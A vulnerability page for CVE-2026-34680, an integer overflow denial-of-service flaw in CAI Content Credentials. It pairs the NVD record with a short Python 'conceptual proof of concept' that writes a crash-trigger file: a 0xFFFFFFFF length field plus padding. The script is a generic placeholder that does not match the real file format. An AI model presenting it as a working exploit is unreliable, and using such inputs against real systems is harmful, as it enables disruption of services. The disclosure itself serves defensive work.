CVE-2026-34680

# Conceptual Proof of Concept for CVE-2026-34680 # This script demonstrates a potential trigger for an Integer Overflow import struct def generate_malicious_input(filename): """ Generates a file with a payload designed to trigger an integer overflow. Adjust the structure based on the actual file format parsed by the vulnerable component. """ # Simulate a header with a length field that causes overflow # Example: A size field set to 0xFFFFFFFF which might wrap around to 0 when incremented overflow_trigger = 0xFFFFFFFF # Constructing a dummy payload. In a real scenario, this would match the specific format (e.g., JSON, binary) # expected by CAI Content Credentials. payload = struct.pack('<I', overflow_trigger) # Little-endian unsigned int payload += b"A" * 100 # Padding with open(filename, 'wb') as f: f.write(payload) print(f"[+] Malicious file generated: {filename}") print(f"[+] Attempt to process this file with the vulnerable application to trigger the DoS.") if __name__ == "__main__": generate_malicious_input("cve_2026_34680_poc.bin")

{"cve": {"id": "CVE-2026-34680", "sourceIdentifier": "[email protected]", "published": "2026-05-12T20:16:38.370", "lastModified": "2026-05-13T14:49:11.830", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "CAI Content Credentials versions 0.78.2, 0.7.0 and earlier are affected by an Integer Overflow or Wraparound vulnerability that could result in an application denial-of-service. An attacker could exploit this vulnerability to crash the application, leading to a denial-of-service condition. Exploitation of this issue does not require user interaction."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-190"}]}], "references": [{"url": "https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-53.html", "source": "[email protected]"}]}}